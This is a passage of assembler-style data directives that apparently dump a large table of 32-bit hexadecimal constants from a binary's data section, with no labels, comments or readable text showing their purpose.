		dd 0A58F00B8h, 0ABF5D5F1h, 0EEB0A2D8h, 0FA8204B3h, 0C15E121Eh
		dd 3D3BE2FAh, 2987C310h, 30741F35h, 0F3772C6h, 0D7C43300h
		dd 4E7FF075h, 0B590615Bh, 0ED0DE424h, 4E8579D7h, 947288E8h
		dd 59DB1E81h, 5F0AF6FBh, 0D77BBA51h, 0CBF8DB87h, 0BADD73F9h
		dd 8737A641h, 9417FB9h,	95C9E73Ah, 0B2C1FF22h, 0B76EF3DFh
		dd 0CE8262DEh, 4C4A30A1h, 2FBBD627h, 67CF22E6h,	24B0B617h
		dd 241E1C41h, 29DBD3BCh, 4D4CB5AFh, 0E5F9BF60h,	7F644801h
		dd 89FCB407h, 4F86A429h, 9136B91Ah, 0FEC7E81Dh,	0CD3DCC63h
		dd 0B0171928h, 9362ED73h, 1F2CD167h, 0BFEE628Bh, 5471F28Bh
		dd 59197A7Ah, 4DC3ADC7h, 57C27885h, 6AA16399h, 0D670A054h
		dd 76A9AAD9h, 0E4197B14h, 21C9E722h, 0CC41B2B3h, 16525EEEh
		dd 0BD753206h, 0B6BE2FF8h, 7605F067h, 3E1995D3h, 0C7EE896Bh
		dd 0D64FDD23h, 306A28E2h, 77785640h, 0CF5D41E6h, 0B10FA76Dh
		dd 721F4DAAh, 8039C173h, 40B374C2h, 8D4418CBh, 2EE6F666h
		dd 6B2AF591h, 9E8EC27h,	0B299B990h, 5395A457h, 989EA9D6h
		dd 0EEA5B078h, 0DB68110Dh, 0BA4FD6Dh, 99800151h, 13C2E70Bh
		dd 0E929B3B2h, 6DD408FAh, 71398D23h, 99260A66h,	1B8CE899h
		dd 0CE2C1201h, 7F3B332h, 5C3887FFh, 200A2690h, 0D05DCDAAh
		dd 0A11EE40Dh, 866F1851h, 8F1EA21h, 78FAFC27h, 0CDD31AE0h
		dd 1D45E664h, 38FEFB88h, 0E6E197C0h, 0F2F1BC31h, 3FEBFDD1h
		dd 0D086C380h, 25F2EB0Dh, 0F18532B5h, 70069F90h, 55C8ADA0h
		dd 422C5014h, 8DB0E8B4h, 94471C63h, 6D0C2F03h, 860EAC22h
		dd 0FD5722F4h, 0F0A98C24h, 6519F500h, 6CC76484h, 0BB583254h
		dd 0B8D2E5Bh, 57ABA752h, 0F18BD594h, 59137EB1h,	0BAC42306h
		dd 0B57D0341h, 6D8AFBCEh, 0DE0D013Fh, 10B8E059h, 0E5FF9921h
		dd 1C055ED2h, 0A0D0E907h, 9CA23586h, 0FAF14B86h, 5289D9Ah
		dd 0B2F6481Bh, 17F60F85h, 83F42030h, 0DD754A33h, 0B4984288h
		dd 92F1A0ACh, 0A7FE0CEBh, 4460BB1Ah, 0D7BAC89Ah, 788BC4E2h
		dd 8C8ECBC5h, 787B39B6h, 0F362D1F2h, 783EDC4Fh,	9CD69E5Ah
		dd 0BDF05AD1h, 19FE801Eh, 0CA6F708Fh, 0B9F34DE6h, 0B10CB576h
		dd 0B236C5D2h, 98A0F1FBh, 0BAB5E58Fh, 44D83AE6h, 0CF5FB6D8h
		dd 0A43246BDh, 68889E09h, 30C9F9EEh, 0F393CE95h, 0ED4DAFBDh
		dd 1EFAE986h, 1BD9F3EEh, 4F4C3F02h, 7A982D4Bh, 0FC35A027h
		dd 98E01C99h, 0E030DF80h
		dd 4CBF683Bh, 870CE81h,	5F524A38h, 30A4668Fh, 0DA9FAEEDh
		dd 827AB7F5h, 0C5E3D9Dh, 79C518E6h, 0D69D102Ch,	76EF7A9Ah
		dd 702EA8BFh, 25C447A8h, 41F61BF0h, 18A8FB85h, 0BB914634h
		dd 237F307Ch, 542B4AE4h, 8545A084h, 2CCB261Dh, 60FB1C61h
		dd 397DDBFh, 862BB704h,	64CECCD8h, 62FE3158h, 7CCB6981h
		dd 2E11ECFEh, 0DCD00EFEh, 369F80B3h, 0BB750E87h, 7A54E987h
		dd 0A027A64Dh, 0E5EB0D58h, 0D728DFFCh, 0D7711275h, 0A3B883h
		dd 3301F5FDh, 6F740A19h, 57D8F07Ah, 75961CBAh, 4891BD12h
		dd 87C21169h, 0AA4AEF53h, 0CBCDC548h, 0CAE4A889h, 0F078476Eh
		dd 100ADDF7h, 8CA609CDh, 985EFE11h, 2F231B6Fh, 0C73F17CBh
		dd 0DE85120Ah, 0E9580908h, 9FCED7E1h, 4B9B5953h, 0A0C499AFh
		dd 944CE7F0h, 0EB12B8FAh, 86B666BEh, 0C6FD96A7h, 0E6DCF5AFh
		dd 6906935Bh, 43AD2D32h, 38836579h, 0F99E8C91h,	7F05BA57h
		dd 702DAAEEh, 5315FE3Ah, 12BB6654h, 0EA6273AAh,	0FE84AE15h
		dd 192B6B19h, 0A55C65Ch, 51755E1Bh, 0E4DC381Eh,	594FEA6Eh
		dd 0BA4C58E1h, 9FD17970h, 0C138CD4Eh, 27D77FA5h, 0D3CE0185h
		dd 9A06C940h, 6D8FEDC8h, 0D2132BD7h, 8D53553Eh,	533845AEh
		dd 11E4E9F3h, 0D45F900Bh, 59191E57h, 46D221C8h,	95C84F08h
		dd 8A252B60h, 51184154h, 9A4B7DCFh, 0D94ECE88h,	0CFA86E93h
		dd 2B0171FFh, 0B8E7949Dh, 0D7EDB9Fh, 0AA1F423h,	0CA505ACh
		dd 940BB39Dh, 348AF8F3h, 82BE5698h, 1F9076AAh, 918B17B1h
		dd 0BAC62CB6h, 73CC693Ch, 479B989Ch, 4AA48394h,	0C320436Fh
		dd 47B56E0Bh, 2763F957h, 0DDC64F67h, 0D4FC8BBDh, 65706B5Bh
		dd 73D5B784h, 3CF46D97h, 6728EC2Bh, 0C89DC4BEh,	0B40F0DF1h
		dd 44C56126h, 4B7C8EC9h, 9E09E597h, 0AE251DB8h,	8DBD45ADh
		dd 92CFB6E9h, 0C05005E6h, 0B8ACBD4Ch, 0CD6F89CAh, 1FF4C3C8h
		dd 0AED5E11Fh, 9E0F5126h, 0EAEE4933h, 0F2EDF0AAh, 0F445F28Dh
		dd 0CCB541B8h, 0F99C5C3h, 483A18A8h, 4DEADD61h,	746836C8h
		dd 1795A774h, 9616C779h, 0D88AB9B3h, 0CF3F09F9h, 76F54C2Ch
		dd 0D4885289h, 1D2EE130h, 48ED84DEh, 0DAEFD512h, 0A0D14582h
		dd 576279FBh, 2A85A3ECh, 92BA9304h, 0B8AA580Bh,	81B8939Fh
		dd 59876C22h, 0E5BA8524h, 56D5990h, 5BDD937h, 0E76926A7h
		dd 0F0051DBh, 0D59AB95Ch, 0ED6D5839h, 0AD7F7C25h, 0C5033857h
		dd 0BF1B1135h, 0DE276BF6h, 0B5B81654h, 833FBA55h, 8442461h
		dd 0F0F15F90h, 53CA3CD8h, 0C74D1C4Bh, 37888F39h, 13844539h
		dd 8E5CEA0Ch, 5DE77554h, 526F6E2Eh, 55535BF2h, 3750B55Ah
		dd 0BFA260D2h, 0B9ABA4CAh, 257744C3h, 0C2D31BD5h, 1437812Ah
		dd 0C91E74DCh, 8CA89003h, 209061B3h, 1E87373Fh,	4BD001A1h
		dd 6B3112BCh, 7011CAADh, 9F47176Fh, 5B296198h, 943EF265h
		dd 717C3C2h, 7279FE47h,	6F0BA709h, 0B732189Dh, 0EAC3E8BAh
		dd 2F2195FAh, 0AD1C7C9Eh, 0D52F26B6h, 26E4AA40h, 2D91CB12h
		dd 3AA10F17h, 3DCCCCE8h, 75586369h, 93E07DE9h, 7DFF30ACh
		dd 95CCA6D4h, 0AD92F1BBh, 0CA7E631Ah, 261E9C50h, 5B4685A5h
		dd 56688D28h, 8698E587h, 721BD161h, 318D724Dh, 3DFF520Ch
		dd 151F6F0Ah, 0DA0AF36Eh, 3C263D75h, 0F21CA474h, 4C34B80Fh
		dd 9E8D0644h, 6AD31AA5h, 5BBBCA1Dh, 20CA5EDFh, 0BB14924Ch
		dd 0D4E8C406h, 988C3C4Bh, 0C3FED50Ah, 1A0D1816h, 391C0B1Fh
		dd 0D5281C9Ch, 0A928CB8Bh, 76B0D112h, 8FE364F5h, 163A182Eh
		dd 0EA9D5C06h, 0DBAE172Bh, 45D36634h, 673A64F2h, 56051060h
		dd 8F6E3BCh, 898FF29Ah,	53B4640Ch, 7B2E6514h, 0E09BE6A0h
		dd 225F677Ah, 6BD65C8Bh, 0E3FB3655h, 7260333Dh,	2351E368h
		dd 0BD1C229Ah, 0FEBE0B51h, 0FAEB9EC6h, 17A951F7h, 927517E6h
		dd 65D5D627h, 8158EDDFh, 65DE696Dh, 0ACF82E82h,	725B4BB1h
		dd 0F4451881h, 1825897Bh, 695C5264h, 78B36514h,	84580867h
		dd 235539BDh, 38D34AAFh, 64BBD028h, 527BBDD6h, 0ACD1B4F9h
		dd 7959E886h, 0EE6971BEh, 30A9DBAAh, 5BE8497Dh,	6E29722Bh
		dd 2AABC960h, 0DD1377FEh, 365CBD28h, 0E9077FF1h, 319B045Bh
		dd 83550DEDh, 96F3211Bh, 41AA2DD2h, 0C9A87CACh,	520D0292h
		dd 0FF0C3973h, 94CEED71h, 0AA7072B1h, 2CC42F2Dh, 5A533E71h
		dd 0DE87540Ah, 0ED08367Fh, 0FC35627Eh, 8596B260h, 2E6FC860h
		dd 51E900C4h, 134B9C18h, 0D84561EEh, 8D03BE10h,	2FDD7EFCh
		dd 0B4C7A307h, 12BC0D16h, 256BD328h, 17E0D8CAh,	10C29FC0h
		dd 81AF940Eh, 55D9634Eh, 44BB3286h, 9DBCFFFBh, 7AAF94Eh
		dd 2A713AF4h, 7B5E2417h, 0BD1832B5h, 0B10A8A53h, 0D3444B71h
		dd 56BE058Ah, 0C53C14ABh, 0ED534E3Dh, 0C5B96372h, 2B484437h
		dd 3C9B851Dh, 87F1E042h, 0F25695B6h, 5BB585C8h,	57D44EC5h
		dd 0A2FA556Dh, 0F6A4BA27h, 0E22E5D27h, 7B414D02h, 79FA265Eh
		dd 5E6B7153h, 790B30B0h, 4B882EC7h, 0F65A0AAEh,	4CDCBA94h
		dd 30F3802h, 0AA709329h, 0F288BCC3h, 0DB5FEC4h,	3F9BB0BDh
		dd 35A8278h, 85FB7EA3h,	8E937FD3h, 3718B419h, 1350DCFBh
		dd 4ECBA001h, 84B25217h, 15FE67A2h, 82B67DACh, 0C72A07ABh
		dd 0C26CF375h, 1834AC00h, 0E63875D6h, 3D116D3Fh, 0A6365258h
		dd 3C85D647h, 0EBF6A49Bh, 23BE2740h, 0CAE38C5Dh, 21CBC142h
		dd 0CC5D73Ch, 775736A0h, 0B5317D92h, 0F2A91EF4h, 0DE2B7E61h
		dd 55F86ABDh, 7FBE1A56h, 62D2BAC3h, 0BD46D414h,	0C850B8D2h
		dd 635CAE2Eh, 5A1A0825h, 1ACE2634h, 0ECF4D664h,	9C133DA0h
		dd 0E1610009h, 0D038C675h, 0CC3412FAh, 0B7000812h, 565BCCFh
		dd 0CDF836B2h, 0C6B91B2Bh, 0B6BCD933h, 0C203CD37h, 0E07318F7h
		dd 1CE7893Fh, 0FC77C0AEh, 267CFC94h, 0ECE53647h, 7A2F36D9h
		dd 586CA449h, 4FF0C25Fh, 269E488Ch, 0C2648632h,	9EC890EFh
		dd 96B8113Fh, 0F0CBF25Bh, 449C60E5h, 0CCFEB71Eh, 8CD8C305h
		dd 0EC2E792Ch, 0FCFFD2B7h, 0EF707060h, 0CAA7F455h, 9D798748h
		dd 297E838Fh, 545DCD18h, 82E11FBFh, 0F088F61Dh,	0E3FDB2F2h
		dd 68BAEEDBh, 473BD316h, 91A311EDh, 27A61275h, 3B65A2D1h
		dd 202B9A6Dh, 0C4A092C6h, 93B4CC42h, 0C9AF3E41h, 6BC3C60Ch
		dd 0DB004312h, 360A04EFh, 3917C874h, 6743D9A0h,	42C5F4D2h
		dd 0ED1297F2h, 40B9014h, 0B21603EDh, 0A93E0049h, 77807E31h
		dd 0BB724287h, 611CCEBDh, 0F294AEC3h, 0A4CF0002h, 0BBC20A53h
		dd 271F9F62h, 24369F26h, 0E4F184F6h, 1199E473h,	34E1C54Dh
		dd 5991202Ch, 0CAD5DD9Fh, 0F4173129h, 5E5E07Fh,	0B9989E53h
		dd 77662EC0h, 0EF7CB525h, 734E4953h, 4195D792h,	2BE1B939h
		dd 0ECAB130Ah, 4AA4E1E8h, 7CDDE716h, 0CB6CD14Eh, 13689BC5h
		dd 0F875E61Dh, 0E0EF1B96h, 3C6AD276h, 0B921B8D3h, 0CA42AE51h
		dd 26071031h, 0F6387852h, 5078EA63h, 99B8DFF9h,	8C805F02h
		dd 0A06160BBh, 7D5A8AB0h, 5AF20859h, 6DAF8B2h, 2F0F34EDh
		dd 7C0D0B24h, 9FFA337Eh, 4D25A42Ah, 0C91E7408h,	0EF2C79A3h
		dd 8A9E97F2h, 1388861Dh, 127B1A87h, 0AE59968Ah,	7ADF13E0h
		dd 0DC4133B2h, 5BF6258Bh, 25009182h, 0CB911760h, 0AA0F8FA1h
		dd 4C43CD16h, 0E2B224DBh, 0E539AC1Ch, 3E9E14BFh, 0A15A9938h
		dd 28B366DDh, 933B65DFh, 9584B11Dh, 364FEB42h, 366600B4h
		dd 9077B085h, 229E39C6h, 33A54CFDh, 1DD2178Ch, 7746ACE0h
		dd 5DBDBDE6h, 8EBCE9E3h, 3FC00D24h, 5FF57C5Ch, 0CA87EB1Eh
		dd 0D6888275h, 0C4A31E05h
		dd 0D6FEC7F5h, 0DC02AC2Ah, 0EB3B27A0h, 2C51B30Eh, 0C58221CAh
		dd 5182CAE9h, 0AEE4314Ah, 1613C4F4h, 7B64BCB1h,	6862BFE4h
		dd 92A01C89h, 0B9FA8527h, 66AC7D5Ah, 0DDCCBB1Ah, 0D5FE811Fh
		dd 3A8086B8h, 36D0AA7h,	15E58451h, 1C0D8BC4h, 0FCA34AE1h
		dd 0F4670387h, 878448DCh, 26269295h, 705077FBh,	0CDDC2323h
		dd 0AF27B319h, 14D3CA52h, 45E3446Ch, 247898F4h,	0C26224D7h
		dd 2C32D1A3h, 577CC5DFh, 26BEF29Ah, 0C8634819h,	0D23D5D64h
		dd 21FA81A6h, 935975A3h, 0BD7E731Dh, 0BF955893h, 0F256FA46h
		dd 61115E36h, 54EA77A4h, 0ED21BA31h, 0E48B5644h, 38EDF61Ch
		dd 0EDB6ED12h, 0FC8251EAh, 825E8B42h, 0ABD018FEh, 28485D7Bh
		dd 1DFC5745h, 0CE47AB52h, 26F563D4h, 0B7B74BCEh, 293A8E6h
		dd 0C5F8DAD7h, 41696D0Ch, 65DAB4C3h, 8D8692CBh,	7109742Ah
		dd 62684BD6h, 16F96AF7h, 0CD713CF4h, 1CD9A058h,	4C0EC9D2h
		dd 2566B869h, 0B7C9AF99h, 47A640C5h, 0E60AA98Fh, 7EB180DEh
		dd 309680FFh, 400E6E80h, 6E08BC15h, 31AACF74h, 64D9F128h
		dd 8A6EB921h, 1F3EB1B9h, 0C2C18BE5h, 0D783A656h, 2D57751Fh
		dd 0D05781D0h, 5BE4D1A7h, 0D9C32DC5h, 0C76EC92Ah, 39BDC14Dh
		dd 2EB8E5B0h, 0A19A5A43h, 0F97F6327h, 94ED6A60h, 7A546806h
		dd 0CCDFADD2h, 0F97B4820h, 94262CF8h, 5C24504Ah, 1A120DEBh
		dd 0A0CFA102h, 0B6D7ABEFh, 370C694Fh, 43F0EEA2h, 0E2C93DAAh
		dd 0B40529B0h, 17E9B7F3h, 9EF01CB3h, 3CBDF7D1h,	66DD62A0h
		dd 0BCD64946h, 4A142DAFh, 809CC273h, 6B794E8Fh,	87276994h
		dd 120E5D50h, 99F1C76h,	543BCE2Eh, 98DBAC5Bh, 4501207Ch
		dd 0E22B36E0h, 9149A187h, 0E8AB51C2h, 7144D73Ah, 2633A8E1h
		dd 6DEB39E8h, 0E59B19B9h, 0ED982CF5h, 2E35ABB4h, 4C88B2CCh
		dd 8F78BB50h, 0DEDC63C9h, 38252C71h, 0C97D5FDEh, 3F0873EDh
		dd 0D5F33DE9h, 0F584DC77h, 2C5CD323h, 0E3EDBE7Fh, 0F96CE869h
		dd 2B0E5321h, 78D2D1AAh, 5302FAF7h, 9AA3FD16h, 7AF4E4DDh
		dd 4F8EB7FBh, 7EAB49D7h, 0F99866E6h, 0E3F8ABF4h, 78DE441Ah
		dd 0E336FA74h, 74D19E11h, 0DA0FEBF6h, 0F892DC85h, 6ACB2CD1h
		dd 35563986h, 0BF517062h, 0EEBEA975h, 57C0B96Ch, 0B3C63735h
		dd 0F709B4CEh, 5227EF24h, 32E64B7Fh, 0F1ECF525h, 63BF76DEh
		dd 0F65F028Eh, 0B51044AEh, 464AF5F9h, 4CD3BB85h, 1EA9CF30h
		dd 0D8356264h, 369F7C72h, 32D2486Dh, 54B387F4h,	0CB1D9333h
		dd 0AF18DA5Fh, 4A30A6Dh, 66AB333Ah, 0E7AF5C3Bh,	519CCDBEh
		dd 0D2BFCCFDh, 0A6870Ah, 737638BBh, 2FDC94ECh, 5153BAA7h
		dd 4E1BAF33h, 0D47BB1CFh, 0E8F9CE55h, 0A90EA4C4h, 910EA019h
		dd 7EBE4202h, 5B51942Eh, 580E005Fh, 7533A79Eh, 3172F686h
		dd 0F06CFFE1h, 76417C9Ah, 0DBFA83E3h, 0A919D47Ch, 8230F973h
		dd 3D3D2CB7h, 0D6E0967h, 984A52D0h, 2FBC7014h, 0BF9C37Eh
		dd 0EDB9D24Ah, 7691C00Ah, 99263F9Eh, 980D3ACBh,	15F560D6h
		dd 0AE4C5E91h, 14614A70h, 8AAA7609h, 404A8A6Bh,	1BFE2D77h
		dd 67267C1Fh, 7B183113h, 614097F4h, 0B9941C80h,	0A773342Eh
		dd 0AF01C070h, 4D3B9134h, 2036AF89h, 2011CEBAh,	8844B361h
		dd 0A130311Dh, 659E2EFCh, 0F70C8506h, 4A467AA2h, 0FD5E3CBDh
		dd 1A1156A8h, 6C00E53h,	59FD29B6h, 0CD28E47Eh, 0C76FBD48h
		dd 54ADF370h, 244F38E2h, 3FB85CE5h, 8933475Bh, 41A2D42Eh
		dd 7CE3AAB7h, 8A2522BBh, 426D2ADFh, 59DEF437h, 0EF84A653h
		dd 7A1CAFA4h, 0A469CC3Dh, 5C3A1661h, 0E78C38Eh,	2DCB8923h
		dd 231D4F1Ah, 1C0A4AFEh, 0F5EE1798h, 0E53692EFh, 1FF1CF15h
		dd 9A023B1Ch, 69F9FD03h, 9E7EF29Ch, 792EAD62h, 0BE0D3CCBh
		dd 0E5043E2Bh, 83CCB705h, 65315754h, 7518BEEh, 6DAB09D5h
		dd 0D37927B4h, 0A756BB07h, 0A50426A1h, 71EE6B91h, 0FE81567Ah
		dd 90A8D950h, 0F69D17EAh, 886687D1h, 766D6CC2h,	0D3AEAFB9h
		dd 0C604B230h, 898A2D4h, 0D8CEA92Dh, 607ECAAFh,	0F68CE64Ch
		dd 77643718h, 48AB6A82h, 33A9621Fh, 0A5BD9AC6h,	0FF04347Fh
		dd 2FB98B9Fh, 151DA4F9h, 0C538E5C0h, 8B7367CDh,	0EB44987Eh
		dd 91CB483Ch, 2122212Ah, 1019F9F7h, 0C06B5845h,	3DE66E09h
		dd 34A3F9D7h, 50157719h, 0B91F069h, 196DA641h, 0E163F3F1h
		dd 0AD452132h, 0EA6073B7h, 21805145h, 0EC8BA689h, 4CA98075h
		dd 0DFBA1F55h, 0D6F4472Fh, 46260426h, 0E5429DB8h, 0E341DD50h
		dd 0AB87E0DAh, 1D74F0FEh, 51290B75h, 0F316F7Ch,	84CCD591h
		dd 0EC2CC9EFh, 0CF0E5739h, 6D4090C4h, 0A7617B1Ch, 0EC5B605Eh
		dd 7475D6F1h, 0E6F3D2E6h, 0CA44CF4Bh, 0B87414F1h, 82C559F2h
		dd 872E8ADDh, 0D94C5AA7h, 1BE48CEh, 62F41C9Bh, 0EF882387h
		dd 0B3C0C039h, 0F3D06DA3h, 12C5AB37h, 0B07EB3Ah, 4A504AA1h
		dd 1913E996h, 9A62786h,	8B871612h, 0AD5AD189h, 0FAB72C90h
		dd 4054F64Ch, 4ADEF93Fh, 0AFDBFAD2h, 90AAFEB1h,	52A22E98h
		dd 771A160h, 0E0B7BA95h, 25763246h, 0CF2BCB7Eh,	51A70CA3h
		dd 2386BF3Dh, 61C3BB2Eh, 0D101469Ch, 0DAAACA09h, 85E2203Fh
		dd 0B7809E73h, 0FFE113A1h, 44DEC34Fh, 4BFA5C16h, 25DDA2CCh
		dd 0CC67C35h, 34A17104h, 9A31E893h, 7ED5787Ch, 4118BC12h
		dd 0FDBAF146h, 77164B9Dh, 3F14CB12h, 476F8202h,	0B95A436Eh
		dd 0BF601755h, 0CF558C11h, 7921CCB6h, 7224E342h, 0CDE2B631h
		dd 4B544Bh, 985F71A1h, 0BBE2F018h, 84FD8820h, 5B64BC77h
		dd 4E22A5B7h, 61AD0635h, 5C93D481h, 0E5CAF015h,	2D250CCh
		dd 0A0D16890h, 1E19D21Dh, 8924DD0Eh, 0F11B134Ah, 0E56344BEh
		dd 0D3FC9F92h, 0DE86B8BBh, 7ADB8644h, 2A1AC2E8h, 0E4DF13BBh
		dd 2810062h, 16F6FBB5h,	0D33D4245h, 123D1B57h, 0FF286AB6h
		dd 3F955C48h, 7D5308FEh, 16114AD5h, 7AE8CA13h, 0E907CBF0h
		dd 0FFAC4B5h, 0A99BC9D1h, 675789C2h, 0CA300428h, 3B7CCA1Ah
		dd 220EEDEBh, 47B39DD1h, 0E7B489ECh, 4A8E6575h,	30AFD23Dh
		dd 0FACDD763h, 2D4286D2h, 0B785AA57h, 6C275512h, 0D308245h
		dd 0CA1713E7h, 0FBA8287Bh, 355D5565h, 0F6ABC15Eh, 0D2FD0B6Dh
		dd 0AC17D4E5h, 259FD7F2h, 0FB1CF52Fh, 8A09A319h, 99BA4E0Fh
		dd 0C8821954h, 9036C1A2h, 0FBDB8134h, 48A03FB9h, 0EC75F14h
		dd 65AA5829h, 0D30ECECDh, 0FA8067EEh, 3354E0E2h, 0B179B63Ah
		dd 1E27330h, 719B1561h,	5311AEC4h, 0A2BD6E6Fh, 9D7494A9h
		dd 9706824h, 6985D5B5h,	3317FEE6h, 8552A7C4h, 60FA54B9h
		dd 0B89F67F6h, 7A7D35D7h, 3303A9A8h, 59D0277Eh,	141FA742h
		dd 5AF23B2Bh, 0A51B16C9h, 7CF1943h, 0A1F79217h,	7FC1BF87h
		dd 2613B3Eh, 0DA864B37h, 0E6854C78h, 3606866Bh,	224F358Eh
		dd 7DD7C66Eh, 146AD643h, 0E84C6BD8h, 6F5B2601h,	0B9FF5746h
		dd 8CEA8F7Dh, 3C891577h, 71845799h, 49DF4CF2h, 253C040Dh
		dd 0A41873DEh, 9CAE86BDh, 6A345286h, 0BE9E184Dh, 0D7C24A7Ah
		dd 8D19758Ch, 3EA93A67h, 7DE00AB8h, 3F9C49AAh, 0FDC87033h
		dd 0DB84386h, 5AA04381h, 0EAAFD90Dh, 877DCF51h,	0A1C648D2h
		dd 2B563FAFh, 0AA1273Ch, 8D1D5782h, 4062F6C0h, 0A1EFBE1Ah
		dd 0A1072E55h, 8770795h, 888DC473h, 3A083895h, 0E5644838h
		dd 115EAB53h, 0F41037D6h, 0EB21D375h, 70445B19h, 2D679D47h
		dd 0EF35E969h, 99FAD17Bh, 9912CAEDh, 10D740C2h,	0F0A754D4h
		dd 6DE4A654h, 0FA780C3Ch, 7DD8963Ah, 836E933Bh,	0E6E5494Ah
		dd 46BC7AD3h, 49E9D9A6h
		dd 4E13C8B6h, 79C0633Fh, 0C6A545Eh, 0A703A4Ah, 45428D23h
		dd 687796C5h, 283E13A8h, 48D72C96h, 0E8730FC0h,	7BA03654h
		dd 757BB504h, 8CB4CCDFh, 347BDB46h, 0ECD89735h,	2353B3h
		dd 0BFF204E9h, 4AB99CE3h, 3A656ECh, 0EC09CA2h, 0EDB40288h
		dd 67C53D12h, 0DC4828E1h, 0DA1A6ECDh, 8CCF8D1Bh, 2C237865h
		dd 0F1B4DAD3h, 0B442B311h, 2380D783h, 0D7EA09D3h, 0EE2FC595h
		dd 0F644734Dh, 6804D884h, 15E04BDDh, 9297ACE4h,	39E892E2h
		dd 0EF3DEE8Bh, 10CDC580h, 96757AC7h, 0E5C14D38h, 1129F9AEh
		dd 1E0C92F0h, 89F36868h, 2A2E59F3h, 4871BAB8h, 134E0B61h
		dd 0AB90A952h, 0E1C287C9h, 0BA31D3B9h, 0C8B7B34Ch, 4D22DF5Ch
		dd 0C76681EEh, 158F3C8Eh, 49B49852h, 0E07BE833h, 4B2384DAh
		dd 0FF07F9F3h, 94C162BCh, 8AEB2CF9h, 442F24Ch, 18D9048Eh
		dd 91003CE0h, 0DA75D928h, 0F859375Dh, 18F5CDDh,	1F34E96Dh
		dd 4A69C72Bh, 4529FD25h, 0FF5E54DCh, 41C82D61h,	0D0B366F2h
		dd 0C64756E2h, 0CAFFF19Ah, 20FF00B1h, 0FDF21198h, 431B3A3Eh
		dd 0D2BCEA73h, 9C35E905h, 0B853EB0Ah, 7F951DF8h, 0D1D9D6ACh
		dd 0BB7FA8F3h, 0D346D40Ah, 0E67D6CB6h, 70B23C6Dh, 5E019B23h
		dd 0AE79F062h, 3861E90Dh, 0A2DE2CA5h, 2166C258h, 0F1E956D6h
		dd 0D5183418h, 23C87B82h, 6BA3AF58h, 41A1476Dh,	33CAA8B1h
		dd 6C66133Ah, 0B92591A0h, 9577A6FBh, 76D85235h,	0DB2B26F1h
		dd 0BC2A4A2Ch, 3F292DA5h, 1AB92428h, 83E00C34h,	3C1CF226h
		dd 7CDC6243h, 5F359899h, 5FA7AB30h, 0D8D12088h,	347F4D1Eh
		dd 1339D2DEh, 24A8F302h, 36726693h, 0E6D029D6h,	7302C8FFh
		dd 0C5BCC4h, 0B49F2200h, 2C88C9E8h, 503E9C39h, 0F3C761CAh
		dd 0CE145C7Dh, 0C11D6611h, 653FB7DCh, 3C29D2A0h, 0D56215CFh
		dd 0C713A175h, 385ED633h, 2B9CCD4Dh, 0D61DBB01h, 0B07354FCh
		dd 1C61E414h, 0EB0CBA02h, 0A35A6391h, 0CAD9800Bh, 5561C5FDh
		dd 94AA418Dh, 6969055h,	6D7BC9B9h, 68D2049h, 8753FD3h
		dd 0CCC2EE8Ah, 0F3F81ED6h, 0C85DDD96h, 0D90688BFh, 3DBA5110h
		dd 0A1CD52FFh, 37C45482h, 0E0D379AAh, 3412504Ah, 0E5189091h
		dd 0D2797EB8h, 19406196h, 0A04C55ABh, 67B1C874h, 0C8B8198Bh
		dd 7E7A5F7Bh, 0EA9B8A8Fh, 9330F1FFh, 45211303h,	0E954C950h
		dd 85F342E7h, 4D5E27F5h, 0C18D773h, 48065119h, 0BC18F0BDh
		dd 4A2778A5h, 0E4110F84h, 558169BCh, 0B8798995h, 0CAE0BD4Dh
		dd 0CA20FDAFh, 22301267h, 99342BB6h, 356B3344h,	0B5796635h
		dd 0A304BEA8h, 0B4D1CE3Ch, 63718C89h, 628D1046h, 0A27394F9h
		dd 9C37978Bh, 709C1DD5h, 15383C2Fh, 84E3696Eh, 94B0D70Bh
		dd 1C6EC780h, 472A06EBh, 459E8179h, 5D9ACC06h, 243D5067h
		dd 75E40F17h, 1997A8C7h, 508A01EEh, 8C3630EBh, 0B20F44D5h
		dd 898DCEE7h, 0DC262E2Bh, 85493786h, 48DCAAFBh,	7E8C806Bh
		dd 0B37AB95Eh, 11A8F4F5h, 3A855AD2h, 4E1CFBC6h,	0F19DBD20h
		dd 0B6C1A84Eh, 0C7E6D9EFh, 90D8F66Ah, 0A6726FBEh, 66B25831h
		dd 94ACB90Fh, 4583357h,	6435DABDh, 0A3F4EF48h, 0AC05D07Ah
		dd 3C43FE37h, 7AF6ABF6h, 5B426B0Ah, 5771DC4Ch, 2B682CCAh
		dd 8AFBABD1h, 5EA4D311h, 478204E5h, 91594586h, 0F246A78Bh
		dd 85D8A23h, 9DBB13B5h,	0BB3F8A48h, 0FDBB57F8h,	4BD0FF11h
		dd 7A7647F8h, 0A43B46D0h, 78E2CBF1h, 2716564Bh,	7A8F911Eh
		dd 68681BA5h, 23F93D5Ah, 17A1AA5Ch, 0D9B5F5C1h,	73B76D8Bh
		dd 1A5BE598h, 3E1E3001h, 714D720Eh, 0E8B5A951h,	71137179h
		dd 0D8878581h, 34A99A49h, 0BA711857h, 2AAD43A1h, 0EAAA6E93h
		dd 1D238168h, 0FA8540A7h, 70A46D37h, 4977A3F9h,	6F6E8ADh
		dd 0ECB0BB20h, 1CF5C4FFh, 0ED847385h, 0AE85198Bh, 0CF5D56AFh
		dd 5BE24A9Fh, 5AD686DAh, 0EFBBE39Dh, 5D0765A1h,	0B2569C5Ch
		dd 3C6B9702h, 97F7049h,	0F015CA4Eh, 0A20F13Ch, 18A5D4CDh
		dd 0D7F1442Bh, 0DAB27BAh, 8D022365h, 60BF530Ah,	441DC27Fh
		dd 8F483A24h, 61351748h, 9CE7FC88h, 1EBF54D8h, 6E7AB385h
		dd 296F67E5h, 35BC1B55h, 29DA48E7h, 0F87CC631h,	0DB209C0Dh
		dd 0CE56026Fh, 67A238F3h, 0F0C480D0h, 0A02148D8h, 92BBCF43h
		dd 2B373DE2h, 0B118F007h, 37E87CB3h, 9C93EBA2h,	76BE67F1h
		dd 97C05181h, 961F3297h, 0A01A84FBh, 6A2FEEACh,	99A5DCCAh
		dd 0BF19988Ah, 5B5DCA37h, 939AAE47h, 9CFA90FCh,	304E7A18h
		dd 0CC9BA8C6h, 86272443h, 692A006h, 2CF09DB7h, 944DD967h
		dd 689A75F6h, 0D8E9DA26h, 7CBCFBC5h, 0B9718AAAh, 0E0CA8506h
		dd 0A09C3612h, 740E44CAh, 38A7E584h, 5551592Dh,	0DEA5EC24h
		dd 8D3904EEh, 16ACEC52h, 0C46D3542h, 0D8FFA3E8h, 63C808C9h
